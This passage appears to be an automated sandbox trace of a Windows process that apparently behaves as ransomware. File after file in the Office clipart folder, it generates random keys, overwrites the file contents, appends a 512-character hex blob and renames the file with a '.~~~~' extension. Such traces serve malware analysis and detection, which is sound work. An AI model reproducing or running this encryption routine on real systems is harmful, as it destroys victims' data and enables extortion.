	[0091.685] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.685] CloseHandle (hObject=0x134) returned 1
	[0091.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.714] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.~~~~")) returned 1
	[0091.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.730] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.734] GetLastError () returned 0x0
	[0091.742] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0091.743] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.743] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.743] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21173301041) returned 1
	[0091.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa0760850, dwHighDateTime=0x1d60e1e)) 
	[0091.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x386ea0
	[0091.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x386ea0 | out: hHeap=0x300000) returned 1
	[0091.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1908
	[0091.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.744] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3865e0
	[0091.744] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.744] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.744] GetLastError () returned 0x0
	[0091.744] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.744] GetLastError () returned 0x0
	[0091.747] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff748, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.747] WriteFile (in: hFile=0x120, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x8b8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x8b8, lpOverlapped=0x0) returned 1
	[0091.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.748] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.748] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.748] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.748] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.748] CloseHandle (hObject=0x120) returned 1
	[0091.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1908
	[0091.748] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.~~~~")) returned 1
	[0091.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.749] GetLastError () returned 0x0
	[0091.750] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0091.751] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0091.751] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0091.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.751] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21174095377) returned 1
	[0091.751] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa0760850, dwHighDateTime=0x1d60e1e)) 
	[0091.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387178
	[0091.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387178 | out: hHeap=0x300000) returned 1
	[0091.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1908
	[0091.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x386710
	[0091.751] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.751] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.752] GetLastError () returned 0x0
	[0091.752] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.752] GetLastError () returned 0x0
	[0091.754] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffbfe, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.754] WriteFile (in: hFile=0x120, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x402, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x402, lpOverlapped=0x0) returned 1
	[0091.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.754] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.754] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.755] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.755] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.755] CloseHandle (hObject=0x120) returned 1
	[0091.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1908
	[0091.755] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.~~~~")) returned 1
	[0091.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.756] GetLastError () returned 0x0
	[0091.756] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0091.757] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0091.757] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0091.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.757] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21174711560) returned 1
	[0091.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa07869b0, dwHighDateTime=0x1d60e1e)) 
	[0091.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3871b0
	[0091.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3871b0 | out: hHeap=0x300000) returned 1
	[0091.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1908
	[0091.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3867a8
	[0091.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.758] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.758] GetLastError () returned 0x0
	[0091.758] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.758] GetLastError () returned 0x0
	[0091.760] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff32a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.760] WriteFile (in: hFile=0x120, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xcd6, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0xcd6, lpOverlapped=0x0) returned 1
	[0091.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.761] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.761] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.761] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.761] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.761] CloseHandle (hObject=0x120) returned 1
	[0091.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1908
	[0091.761] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.~~~~")) returned 1
	[0091.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.762] GetLastError () returned 0x0
	[0091.762] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0091.763] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0091.763] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0091.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.763] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21175324470) returned 1
	[0091.763] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa07869b0, dwHighDateTime=0x1d60e1e)) 
	[0091.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3871e8
	[0091.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0091.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3871e8 | out: hHeap=0x300000) returned 1
	[0091.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0091.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1908
	[0091.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3cb278
	[0091.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.764] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.764] GetLastError () returned 0x0
	[0091.764] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.764] GetLastError () returned 0x0
	[0091.766] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff858, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.766] WriteFile (in: hFile=0x120, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x7a8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x7a8, lpOverlapped=0x0) returned 1
	[0091.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.766] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.766] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.766] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.767] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.767] CloseHandle (hObject=0x120) returned 1
	[0091.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1908
	[0091.767] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.~~~~")) returned 1
	[0091.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.770] GetLastError () returned 0x0
	[0091.771] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x28d8568) returned 1
	[0091.772] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0091.772] CryptReleaseContext (hProv=0x28d8568, dwFlags=0x0) returned 1
	[0091.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0091.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.772] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21176255602) returned 1
	[0091.772] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa07acb10, dwHighDateTime=0x1d60e1e)) 
	[0091.773] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.773] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0091.773] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.773] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3871e8
	[0091.773] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.773] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3871e8 | out: hHeap=0x300000) returned 1
	[0091.773] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.773] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.773] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1908
	[0091.773] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.773] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x388960
	[0091.773] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.773] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.773] GetLastError () returned 0x0
	[0091.773] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.773] GetLastError () returned 0x0
	[0091.775] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff1b2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.775] WriteFile (in: hFile=0x138, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xe4e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0xe4e, lpOverlapped=0x0) returned 1
	[0091.775] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.775] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.775] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.776] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
